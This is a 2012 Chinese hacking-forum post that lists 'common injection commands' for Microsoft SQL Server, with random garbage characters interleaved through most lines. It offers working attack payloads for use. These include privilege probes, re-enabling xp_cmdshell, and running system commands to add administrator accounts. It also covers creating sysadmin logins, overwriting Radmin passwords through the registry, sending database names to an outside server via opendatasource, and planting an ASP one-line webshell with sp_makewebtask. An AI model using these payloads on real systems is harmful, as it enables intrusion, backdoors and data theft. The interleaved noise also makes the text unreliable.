找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2315|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
) P# z) \- o2 v/ _and 1=(Select IS_MEMBER('db_owner'))0 w5 c. v& o5 O
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--7 H1 P, H+ u3 O1 R( y# U0 l- a! B

! \; j; n1 T: y% q3 j! _//检测是否有读取某数据库的权限& {( x1 t' F' x( C9 ^
and 1= (Select HAS_DBACCESS('master'))# X- W- B9 M; N- z2 l
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --, ?3 u4 S2 \/ M, v1 t1 ~- H5 v9 Q
' ~, t5 i1 Z% J4 Q

  _$ E( x# z8 y2 {" o数字类型
" C2 c, e7 i' K+ ]' F2 Q/ ~" xand char(124)%2Buser%2Bchar(124)=0
- B4 Y0 ~0 g0 H( ^; k$ l! N9 w9 x7 ^4 C. X& s/ W$ X- A5 f! Z
字符类型
' D* `8 A* n: x- F$ r! f8 u' and char(124)%2Buser%2Bchar(124)=0 and ''=') w7 e  L+ y1 R7 T, H
. I- e( X# c* S3 i
搜索类型
( u' Z: w, n- p& T& k' and char(124)%2Buser%2Bchar(124)=0 and '%'='
. Z5 C/ p% W# h7 v7 h* d
" ~2 B3 B; h' b! ?. v$ E$ h5 ~爆用户名3 |  E' R; u% p
and user>0
+ c& S' v1 `2 D% }7 [) l2 Q3 M7 _' and user>0 and ''='% b* w, J* L4 x2 B  F
$ e( Q8 ?/ b% n  c8 t* K7 o6 m
检测是否为SA权限
$ S3 C  A3 |* Nand 1=(select IS_SRVROLEMEMBER('sysadmin'));--% O0 D1 U7 k8 K% s+ d; I
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
4 ^" R9 w" `9 \; V' b% @# d! W* f( S1 x) U! k/ g9 ]5 Y
检测是不是MSSQL数据库
5 h; u0 X4 H- V* f- land exists (select * from sysobjects);--
6 R) N$ P! R/ g+ W" ~' [5 {! \
6 j: F2 z  _! o% R, H3 Y5 M4 T检测是否支持多行
( R( I) [# M" I0 v7 i;declare @d int;--
( f' E  ~' K3 a2 ?9 L* @; E4 e) {4 C+ I
: l6 o( X8 V" B+ M$ P2 a. T: O恢复 xp_cmdshell0 A% N* P' {2 x- ]9 t
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
( {$ d% m7 M: s2 _
& b3 f9 t( H7 \5 F) ^/ c( g" y) B0 q, P, p' J% K! h! p- w
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
. ^+ X# G7 @" F( k4 q( Z
# V+ I% e+ Y9 c) y6 h- a5 J//-----------------------
8 X) E1 E4 P4 b8 N" U  j2 [9 ?//       执行命令
8 b! Y) ]8 n; ~  A//-----------------------
, f4 L; K2 z4 x  J* u; K首先开启沙盘模式:
$ _' s  t: ^+ T$ m/ Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1" T/ S! Q- ]5 U& M9 e( S  E. ]
6 H) V$ d- U3 f# |" w$ C  c
然后利用jet.oledb执行系统命令  Y- J3 i' T- d; N" d/ R0 |  x
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')6 V+ v  V# g' Q7 l  K

) n& C% o6 |0 t3 Z" d( X执行命令
4 _) ~6 C7 M3 s0 b9 k% Q+ A% e;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 D  s2 G) w7 j6 V" J5 ^: R
  e6 x8 ?; A  i$ x# @0 V. s
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'1 a: p+ t1 }8 z/ `9 |: F% v

- t- y: I2 U: _/ G: I判断xp_cmdshell扩展存储过程是否存在:# c' |* r8 W) ^+ X' u4 e" J# V
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
5 m6 G0 c. Y# c3 Z0 x, C8 Z! ]; l& I# @
写注册表
& f3 f9 w: q0 r/ O1 y' n2 e( `exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 D* j; L& Q' \1 x2 Z5 J
  {- ^% c7 V* Y7 q) Y
REG_SZ; x# x0 f  x/ u, Q
  e% _2 D; G5 ~) ]  d  _) G0 x  n0 z
读注册表
7 b/ C: P+ J9 z2 ^* z- X( lexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
. @7 q: ^9 f5 p8 }% k  f. g
5 P8 m8 _; q7 u3 w' l' X6 a读取目录内容( O3 Q, g9 |) {2 O+ c& \
exec master..xp_dirtree 'c:\winnt\system32\',1,1
/ H1 f$ `# o' g# z( }6 S- U
8 W& M2 d1 E% W) \  C+ |: l3 V. \% H; R% M7 l( t0 o
数据库备份
5 J$ |- \9 O6 h9 D2 nbackup database pubs to disk = 'c:\123.bak'
" ?7 K' Z9 n, k( }6 G) T; y7 z' S- P; F
//爆出长度8 J: q' O: A% v5 k6 a' z
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
* n! w3 m+ V" w" a" z/ N' d) U# F% R& b& ?
, z% {! c6 x1 |, S1 v$ R- L
/ m7 g2 X  N% c1 D
更改sa口令方法:用sql综合利用工具连接后,执行命令:
. g+ q5 I0 `$ o; d9 Qexec sp_password NULL,'新密码','sa'
$ w9 b0 S. h) K( O% T) `/ z, P. W: L9 n6 ^) @; c) Z7 ?7 t0 |/ y
添加和删除一个SA权限的用户test:0 ^2 G  E/ D  M- ~7 N5 N: m- V
exec master.dbo.sp_addlogin test,9530772
6 H/ M; _. j9 ^8 o+ Hexec master.dbo.sp_addsrvrolemember test,sysadmin5 y" w" Z% r8 K7 b
+ y6 P( S* Z; y! y, C8 m
删除扩展存储过过程xp_cmdshell的语句:! `" y3 M1 N( F* D0 U$ J) y7 W
exec sp_dropextendedproc 'xp_cmdshell'
' ^9 f, r* g( W
% l# f9 e5 t+ y添加扩展存储过过程/ J) @7 r8 x+ E& r: R7 Y! N+ d: o
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
; a: z8 {( i0 y# A* w# E# I9 d0 ^GRANT exec On xp_proxiedadata TO public
+ R3 M  w8 t! }: k: C  W2 D
' [- X4 x7 O$ W0 h# D7 [- k8 s. _8 M1 D) l4 l# R3 a6 S% G$ j  M
停掉或激活某个服务。+ \. |# m. u7 F3 d+ j. B

+ l, Z, h; o) ?5 sexec master..xp_servicecontrol 'stop','schedule'
$ {5 a* J: T* ~6 q8 a6 _exec master..xp_servicecontrol 'start','schedule'
+ {; l" p; p$ D3 y1 [$ o- M4 Q, P9 D* G
dbo.xp_subdirs
, I) h0 a% N, E4 y  l" x# a* h  ?$ `
只列某个目录下的子目录。
5 [% {- R& [6 @xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp') V; k/ ?- i/ d3 F- o
) _; ?6 @, B: \
dbo.xp_makecab2 Y) u2 d6 V1 ]5 J# m8 h5 d3 O$ D2 b

0 ^0 z9 P, `2 V, @' d, F将目标多个档案压缩到某个目标档案之内。4 p2 I0 n: g5 ^" V* y. |
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
: g8 B1 y$ P) `$ J4 k7 y5 R! ?! Q7 R( y: x% S: z
dbo.xp_makecab; ?+ q( m0 N2 u& v2 p' r
'c:\test.cab','mszip',1,- v! C6 Z7 O6 _! i
'C:\Inetpub\wwwroot\SQLInject\login.asp',, Z( r# _( e* a0 x1 m; \" g  k9 O
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
1 W0 q9 G; K# X  s+ _3 @
) B. X( W& |: b1 Xxp_terminate_process
( j; O  A1 z  }5 Q/ }% `/ O& R0 C" }0 [
停掉某个执行中的程序,但赋予的参数是 Process ID。8 J* E7 }* q9 n$ p9 g
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
0 S3 N% B5 Q3 _: i- T- D" F! M  @9 L3 Q4 f( |6 O- m
xp_terminate_process 2484
: z8 Y# J7 U: h2 v' M) f) r1 n6 c7 y5 h* m: a& [6 }0 J* Y
xp_unpackcab
8 K6 m: u2 ]% u% z" r. N2 _; S' D1 ~# i$ q6 [
解开压缩档。
' v' a, k* L; X/ j, L
. |; Y( t6 p2 Jxp_unpackcab 'c:\test.cab','c:\temp',1
: U) r5 c' ^+ U9 q/ U1 g9 P
# I7 P" M& R9 U# F
$ @& G. T0 L/ z9 V" `4 X. P% J) m某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
* {8 E. f3 y. c% B: F, q
% I% f% U, V& w, r) icreate database lcx;
( V( o+ K, S* I& ^6 j7 I9 eCreate TABLE ku(name nvarchar(256) null);9 \: n- B: o6 g4 A
Create TABLE biao(id int NULL,name nvarchar(256) null);
+ q! F5 B( f; \) Z; G% ^% [
) B( ?" L# H+ |2 _' }: p+ _//得到数据库名: e+ }* _  {5 J) F+ N$ T
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases6 k/ g3 }% K# a' g  |% t* @5 ~9 s

% B( n4 L1 a% w+ n2 S  [& k
4 k2 i5 z& g2 I  ]//在Master中创建表,看看权限怎样
6 Y6 a& r& }' vCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; r5 \+ F4 Y. l2 I
( j5 C* Y) V* I+ w: H; ]用 sp_makewebtask直接在web目录里写入一句话马:
  }, \( m( Z4 Y" y' C, whttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
, V( C  Z, T3 }/ n9 s' `
: A" N( p$ a- E2 A, z) [9 S! x8 V/ m//更新表内容
- V8 i, H; v; f' |' UUpdate films SET kind = 'Dramatic' Where id = 1231 z  f: K# N( J9 R6 c& R

" g( I3 T) C& I+ }9 t//删除内容
, T/ p: N( z: [) ?delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表